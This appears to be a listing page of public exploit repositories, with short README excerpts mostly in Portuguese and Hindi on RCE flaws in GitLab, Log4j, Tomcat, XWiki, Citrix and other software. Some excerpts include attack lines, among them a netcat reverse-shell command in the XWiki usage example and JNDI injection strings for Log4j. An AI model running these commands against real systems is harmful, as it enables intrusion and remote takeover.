gitlab-rce-demo

Demo de RCE do GitLab Oj Este repositório contém uma demo autocontida para a cadeia de RCE de notebook-diff do GitLab descrita em nossa pesquisa. Ele inicia um novo container GitLab 18.11.3, cria um usuário comum por meio da interface HTTP pública e executa o PoC contra essa instância. Detalhes...

cve-2021-25646

Execução Remota de Código no Apache Druid Resumo da Vulnerabilidade A Apache Druid lançou uma atualização de segurança, informando sobre uma vulnerabilidade de execução remota de código, identificada como CVE-2021-25646. Devido à falta de autenticação por padrão no Apache Druid, um atacante pode...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Um exemplo de injeção remota de código usando CVE-2021-44228 via RMI e LDAP. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer e LdapServer...

CVE-2025-45466

CVE-2025-45466 São os detalhes do CVE-2025-45466 Divulgação de CVE: CVE-2025-45466 Resumo Uma vulnerabilidade foi descoberta no cão robótico Unitree Go1 todas as versões = Go120220511 envolvendo credenciais de autenticação em texto simples embutidas , o que leva a um Controle de Acesso Incorreto...

CVE-2021-31630-OpenPLC_RCE

CVE-2021-31630-OpenPLCRCE Exploit para Execução Remota de Código Autenticada no Servidor Web OpenPLC v3...

CVE-2022-42889-PoC

CVE-2022-42889 também conhecido como Text4Shell Prova de Conceito de RCE Text4Shell é o nome popular de uma vulnerabilidade crítica de software descoberta na biblioteca Apache Commons Text veja CVE-2022-42889. Este repositório tem como objetivo demonstrar uma Execução Remota de Código RCE que...

fastjson-rce-lab

Ambiente de Laboratório RCE Fastjson 1.2.83 CVE-2026-16723 Aviso legal: este laboratório destina-se exclusivamente à pesquisa de segurança, demonstração educacional e construção de defesas em ambientes autorizados. Testar alvos não autorizados pode ser ilegal; o usuário assume total...

CVE-2023-42793

CVE-2023-42793 केवल शैक्षिक उद्देश्यों के लिए CVE-2023-42793 का PoC CVE-2023-42793admin.sh का उपयोग: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port कार्य प्रमाण: CVE-2023-42793rce.sh का उपयोग: chmod +x CVE-2023-42793rce.sh ./CVE-2023-42793rce.sh ip/domainname port...

opsxcq-cve-2016-10033

PHPMailer 5.2.18 Execução Remota de Código PHPMailer é a classe de transporte mais popular do mundo, com cerca de 9 milhões de usuários em todo o mundo. Os downloads continuam em um ritmo significativo diariamente. Usado por muitos projetos de código aberto: WordPress, Drupal, 1CRM, SugarCRM, Yii...

CVE-2026-42945-NGINX-Rift-Toolkit

CVE-2026-42945 Kit de Ferramentas para Vulnerabilidade Nginx Rift Kit de ferramentas abrangente para escanear, corrigir e testar CVE-2026-42945 - uma vulnerabilidade crítica de RCE no nginx Índice Overview CVE Details Features Toolkit Components Requirements Installation Usage Workflow Examples...

CVE-2025-24813

🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE Exploit Este repositório contém uma prova de conceito PoC completa para a CVE-2025-24813 , uma vulnerabilidade de Execução Remota de Código RCE no Apache Tomcat que utiliza o método HTTP PUT para implantar um web shell malicioso em JSP. 🔥 Este exploit...

CVE-2017-12149

CVE-2017-12149 Codificado por 1337g Uso: CVE-2017-12149.py http://targetip:port/ JBOSS RCE Não tenho ideia por que não funciona com https...

CVE-2025-24893

CVE-2025-24893 Exploit de Execução Remota de Código para XWiki para versões anteriores a 15.10.11, 16.4.1 e 16.5.0RC1. Uso $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Use apenas para fins éticos :...

Exploits_CVE-2019-19781

Exploit de Execução Remota de Código CVE-2019-19781- Citrix Application Delivery Controller e Gateway Exploit de Execução Remota de Código para Citrix Application Delivery Controller e Citrix Gateway CVE-2019-19781 Uso : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE ex.: bash...

CVE-2021-40444

Vulnerabilidade de Execução Remota de Código no Microsoft MSHTML CVE-2021-40444 Como desativar controles ActiveX em um sistema individual ? 1. Para desativar a instalação de controles ActiveX no Internet Explorer em todas as zonas, cole o seguinte em um arquivo de texto e salve-o com a extensão...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC Nome do Script PoC: poc.py Um script de prova de conceito para explorar CVE-2025-1302, que visa uma vulnerabilidade de RCE na biblioteca jsonpath-plus. Quando executado contra um endpoint de serviço vulnerável, o script tenta disparar execução remota de código...

CVE-2026-103889

The 3D Product configurator for WooCommerce plugin for WordPress (versions

CVE-2026-103889 3D Product configurator for WooCommerce <= 2.16.2 - Unauthenticated Remote Code Execution via 'xpv_image' Parameter

The 3D Product configurator for WooCommerce plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.16.2 via the 'xpvimage' parameter parameter. This is due to missing authentication and nonce checks on the wploaded handler combined with no sanitization...

EUVD-2026-96055

The 3D Product configurator for WooCommerce plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.16.2 via the 'xpvimage' parameter parameter. This is due to missing authentication and nonce checks on the wploaded handler combined with no sanitization...

CVE-2021-45010

CVE-2021-45010 एक्सप्लॉइट शीर्षक: Tiny File Manager 2.4.6 प्रमाणित रिमोट कोड निष्पादन तिथि: 04 मार्च 2023 एक्सप्लॉइट लेखक: Syd Software लिंक: https://github.com/prasathmani/tinyfilemanager संस्करण: Tiny File Manager = 2.4.3 परीक्षण: Parrot OS 20.04 पर CVE : CVE-2021-45010 संदर्भ:...